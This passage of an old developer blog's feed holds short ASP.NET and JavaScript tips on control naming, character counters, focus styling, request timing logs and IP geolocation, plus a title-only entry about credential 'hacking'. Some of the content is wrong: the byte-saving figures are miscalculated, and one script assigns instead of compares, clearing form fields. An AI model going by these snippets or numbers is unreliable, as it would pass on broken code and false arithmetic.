src='https://blogger.googleusercontent.com/tracker/6523426199047481474-1119133165525615216?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/1119133165525615216/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=1119133165525615216' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1119133165525615216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1119133165525615216'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/fetching-users-credential-from-other.html' title='Fetching user&apos;s credential from other site: Hacking'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8873568001699777140</id><published>2008-01-10T00:05:00.000-08:00</published><updated>2008-01-10T00:06:48.655-08:00</updated><title type='text'>Developers: How to Save bytes, ASP.NET</title><content type='html'>&lt;span style="font-family:arial;font-size:85%;"&gt;&lt;strong&gt;&lt;br /&gt;For Software Developers: "Save Bytes",  Little Thing, Big Effect....e.g.    &lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&lt;asp:contentplaceholder id="ContentPlaceHolder1" runat="server"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&lt;/asp:ContentPlaceHolder&gt;&lt;br /&gt;Here default name has been used. i.e. ContentPlaceHolder1. Web server has to transfer 25 bytes for this particular name.On client side it becomes something like ctl00$ContentPlaceHolder1.... , which again become too long.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&lt;strong&gt;Take A Scenario:&lt;/strong&gt; If above name has 50 occurrences in a webpage &amp;amp; if 1000000 users are using same page then Web server has to transfer 1000000 X 25 X 50 = 125000000 bytes.If Name "ContentPlaceHolder1" is changed to "CPHold", Web Server will transfer 1000000 X 12 X 50= 60000000 bytes, i.e. Saving of 65000000 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;Note: This will be one way saving. &lt;strong&gt;Finally saying, use short id/names, don't use default/long id/names.&lt;/strong&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8873568001699777140?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8873568001699777140/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8873568001699777140' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8873568001699777140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8873568001699777140'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/developers-how-to-save-bytes-aspnet.html' title='Developers: How to Save bytes, ASP.NET'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-839719375471196028</id><published>2008-01-10T00:01:00.000-08:00</published><updated>2008-08-06T21:09:11.316-07:00</updated><title type='text'>Character Count for Textarea, Remaining Character</title><content type='html'>&lt;strong&gt;Count and Limit Character Input in Text Boxes:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Put this in between the and tags:&lt;br /&gt;Please view in source code&lt;br /&gt;&lt;br /&gt;&amp;lt;script language="JavaScript"&amp;gt;&lt;br /&gt;function twdCount(field,cntfield,maxlimit) &lt;br /&gt;{ &lt;br /&gt;if (field.value.length &gt; maxlimit)&lt;br /&gt;field.value = field.value.substring(0, maxlimit);&lt;br /&gt;else&lt;br /&gt;cntfield.value = maxlimit - field.value.length;&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is the form code:&lt;br /&gt;&lt;form name="myForm" action="yourpage.asp" method="post"&gt;&lt;br /&gt;&lt;textarea onkeydown="twdCount(document.myForm.txtbox1,document.myForm.twd1,25)" onkeyup="twdCount(document.myForm.txtbox1,document.myForm.twd1,25)" name="txtbox1" rows="1" wrap="physical" cols="28"&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;input maxlength="25" size="2" value="25" name="twd1"&gt;characters left&lt;br /&gt;&lt;br /&gt;&lt;textarea onkeydown="twdCount(document.myForm.txtbox2,document.myForm.twd2,125)" onkeyup="twdCount(document.myForm.txtbox2,document.myForm.twd2,125)" name="txtbox2" rows="4" wrap="physical" cols="28"&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;input maxlength="3" size="3" value="125" name="twd2"&gt;characters left&lt;br /&gt;&lt;/form&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-839719375471196028?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/839719375471196028/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=839719375471196028' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/839719375471196028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/839719375471196028'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/character-count-for-textarea-remaining.html' title='Character Count for Textarea, Remaining Character'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-7219179416112186053</id><published>2008-01-10T00:00:00.000-08:00</published><updated>2008-08-06T21:17:02.551-07:00</updated><title type='text'>change Background Color of onfocus of HTML control</title><content type='html'>&lt;strong&gt;&lt;br /&gt;Change Background Color of HTML control:onfocus of any control bgcolor of the control should change &amp;amp; onblur it should again become white.this is the code         &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script type="text/javascript" language="javascript"&amp;gt;&lt;br /&gt;        function set()&lt;br /&gt;        {&lt;br /&gt;       &lt;br /&gt;            for (i=0; i&lt;document.forms[0].elements.length; i++)&lt;br /&gt;            {&lt;br /&gt;           &lt;br /&gt;                if (document.forms[0].elements[i].type=="text" || document.forms[0].elements[i].type=="password" || document.forms[0].elements[i].type=="textarea")&lt;br /&gt;                {&lt;br /&gt;                document.forms[0].elements[i].onfocus=function() {this.style.backgroundColor='#E3E0DB';};   &lt;br /&gt;                document.forms[0].elements[i].onblur=function() {this.style.backgroundColor='#ffffff';};   &lt;br /&gt;                }&lt;br /&gt;               &lt;br /&gt;   &lt;br /&gt;                if (document.forms[0].elements[i].type=="text" || document.forms[0].elements[i].type=="password" || document.forms[0].elements[i].type=="textarea")&lt;br /&gt;                {&lt;br /&gt;                    if(document.forms[0].elements[i].value="")&lt;br /&gt;                    document.forms[0].elements[i].focus();&lt;br /&gt;                }&lt;br /&gt;   &lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;   &lt;br /&gt;    &amp;lt;/script&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-7219179416112186053?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/7219179416112186053/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=7219179416112186053' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7219179416112186053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7219179416112186053'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/change-background-color-of-onfocus-of.html' title='change Background Color of onfocus of HTML control'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-4849227116111975827</id><published>2008-01-09T23:56:00.000-08:00</published><updated>2008-01-10T00:00:31.443-08:00</updated><title type='text'>General practices</title><content type='html'>MAXLENGTH:The maxlength of each control should be 1 minus the length set in the corresponding column length in databasee.g. fname = 256 in DB&lt;br /&gt;front end- First Name = 255 should be set (even smaller than this is good)&lt;br /&gt;Be careful while setting the column length:    Please set minimum required length    e.g. for first name 100 characters are to much. If we set 255 for this, that would be a wastage. Specially for char datatype&lt;br /&gt;&lt;strong&gt;for username/password/security answer fields: maxlength should not be too large.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;FOCUS:Cursor Focus should come at very first control of the form on the page.    e.g. first name is the first control on the page, so cursor should focus in this automatically on page load&lt;br /&gt;VALIDATORS:When validation fails, form should not submit i.e. no postback. on enter keypress form should not be submitted till validation messages appearPlease set          SetFocusOnError="True"    ValidationGroup="name"for all validators.all validators should fire on client side first.&lt;br /&gt;&lt;br /&gt;BLANK FORM VALUES:if after submission of any form , if same page appears again, then all textbox/contols should get cleared.&lt;br /&gt;INVALID CHARACTERS:Invalid characters should not be allowed in inputs.Proactive Strategy: e.g. phone textbox, if 0-9 &amp;amp; hypen is allowed in it.Then other characters should not be typed in this textbox.If somebody types invalid character, message should appear&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-4849227116111975827?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/4849227116111975827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=4849227116111975827' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4849227116111975827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4849227116111975827'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/general-practices.html' title='General practices'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8470983937378774467</id><published>2008-01-09T23:55:00.000-08:00</published><updated>2008-08-06T21:20:40.567-07:00</updated><title type='text'>Time taken by a webpage for execution : Page Cost</title><content type='html'>&lt;strong&gt;Following code will help us finding the Time taken by a page for execution i.e. Page CostWe need to use this for testing environment.This will create a log file.&lt;/strong&gt;&lt;br /&gt;The code calculates the time by calculating the interval between the Application_BeginRequest and Application_EndRequest events.&lt;br /&gt;&amp;lt;%@ import namespace="System.IO" %&amp;gt;&lt;br /&gt;&amp;lt;script runat="server"&amp;gt;&lt;br /&gt;//static members for the writing syncronization&lt;br /&gt;private static StreamWriter _writer;&lt;br /&gt;private static object _lock = new object();&lt;br /&gt;//change this to a directory that the aspnet account has read\write //permissions to&lt;br /&gt;private static string _fileName = string.Format(@"c:\temp\log_{0}.txt",DateTime.Now.ToFileTime());&lt;br /&gt;//member variables for tracking start/end times&lt;br /&gt;private DateTime _startTime;&lt;br /&gt;private DateTime _endTime;&lt;br /&gt;public static StreamWriter GetStaticWriter()&lt;br /&gt;{&lt;br /&gt;//make sure we're thread safe here...&lt;br /&gt;if(_writer==null){&lt;br /&gt;lock(_lock){&lt;br /&gt;if(_writer==null){&lt;br /&gt;_writer = new StreamWriter(_fileName,false);&lt;br /&gt;_writer.WriteLine("IP ADDRESS \tSTART TIME \tEND TIME \tDIFF \tURL");&lt;br /&gt;_writer.WriteLine("===============\t============\t============\t================\t=========================");&lt;br /&gt;_writer.Flush();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;return _writer;&lt;br /&gt;}&lt;br /&gt;public static void LogText(string str){&lt;br /&gt;GetStaticWriter().WriteLine(str);&lt;br /&gt;GetStaticWriter().Flush();&lt;br /&gt;}&lt;br /&gt;protected void Application_BeginRequest(Object sender, EventArgs e){&lt;br /&gt;_startTime = DateTime.Now;&lt;br /&gt;}&lt;br /&gt;protected void Application_EndRequest(Object sender, EventArgs e){&lt;br /&gt;_endTime = DateTime.Now;&lt;br /&gt;LogText(string.Format("{0,-12}\t{1:hh:mm:ss.fff}\t{2:hh:mm:ss.fff}\t{3}\t{4}",Request.ServerVariables["REMOTE_ADDRESS"].ToString(),_startTime,_endTime,_endTime-_startTime,Request.Url));&lt;br /&gt;}&lt;br /&gt;protected void Application_End(Object sender, EventArgs e){&lt;br /&gt;//release the writer&lt;br /&gt;// Even if this doesn't execute, when the appdomain gets shutdown //it will be released anyways&lt;br /&gt;if(_writer!=null)&lt;br /&gt;_writer.Close();&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8470983937378774467?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8470983937378774467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8470983937378774467' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8470983937378774467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8470983937378774467'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/time-taken-by-webpage-for-execution.html' title='Time taken by a webpage for execution : Page Cost'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-5780007355942538876</id><published>2008-01-09T23:53:00.000-08:00</published><updated>2008-08-06T21:18:49.276-07:00</updated><title type='text'>know your IP &amp; country</title><content type='html'>&amp;lt;a href="http://pingme.info/"&gt;http://pingme.info/&lt;/a&gt;&lt;br /&gt;which will tell you your I.P. &amp;amp; country&lt;br /&gt;You can use the following piece of ASP code to get country details. Sending AJAX CALL&lt;br /&gt;&lt;br /&gt;&amp;lt;%strXml="&lt;pingme ip="'"&gt;"set XmlHttp=Server.CreateObject("Microsoft.XMLHTTP")XmlHttp.open "POST","&lt;a href="http://pingme.info/pingme.asp%22,false"&gt;http://pingme.info/pingme.asp",false&lt;/a&gt;XmlHttp.send(strXml)&lt;br /&gt;strCountryShort=XmlHttp.responsexml.documentElement.getElementsByTagName("countryshort").Item(0).TextstrCountryLong=XmlHttp.responsexml.documentElement.getElementsByTagName("countrylong").Item(0).TextstrCountry=XmlHttp.responsexml.documentElement.getElementsByTagName("countryname").Item(0).TextResponse.Write("Country Short:"&amp;amp;strCountryShort&amp;amp;"&lt;br /&gt;")Response.Write("Country Long:"&amp;amp;strCountryLong&amp;amp;"&lt;br /&gt;")Response.Write("Country Name:"&amp;amp;strCountry&amp;amp;"&lt;br /&gt;")%&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-5780007355942538876?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/5780007355942538876/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=5780007355942538876' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5780007355942538876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5780007355942538876'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/know-your-ip-country.html' title='know your IP &amp; country'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-4275349857788344998</id><published>2007-12-31T02:02:00.000-08:00</published><updated>2007-12-31T02:03:04.120-08:00</updated><title type='text'>build/rebuild/compile</title><content type='html'>Build means compile and link only the source files that have changed since the last build, while Rebuild means compile and link all source files regardless of whether they changed or not. Build is the normal thing to do and is faster. Sometimes the versions of project target components can get out of sync and rebuild is necessary to make the build successful. In practice, you never need to Clean.&lt;br /&gt;Build or Rebuild Solution builds or rebuilds all projects in the your solution, while Build or Rebuild &lt;project&gt; builds or rebuilds the StartUp project, "hello" in the screen shot above. To set the StartUp project, right click on the desired project name in the Solution Explorer tab and select Set as StartUp project. The project name now appears in bold. Since the homework solutions typically have only one project, Build or Rebuild Solution is effectively the same as Build or Rebuild &lt;project&gt;.&lt;br /&gt;Compile just compiles the source file currently being edited. Useful to quickly check for errors when the rest of your source files are in an incomplete state that would prevent a successful build of the entire project. Ctrl-F7 is the shortcut key for Compile.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-4275349857788344998?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/4275349857788344998/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=4275349857788344998' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4275349857788344998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4275349857788344998'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2007/12/buildrebuildcompile.html' title='build/rebuild/compile'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
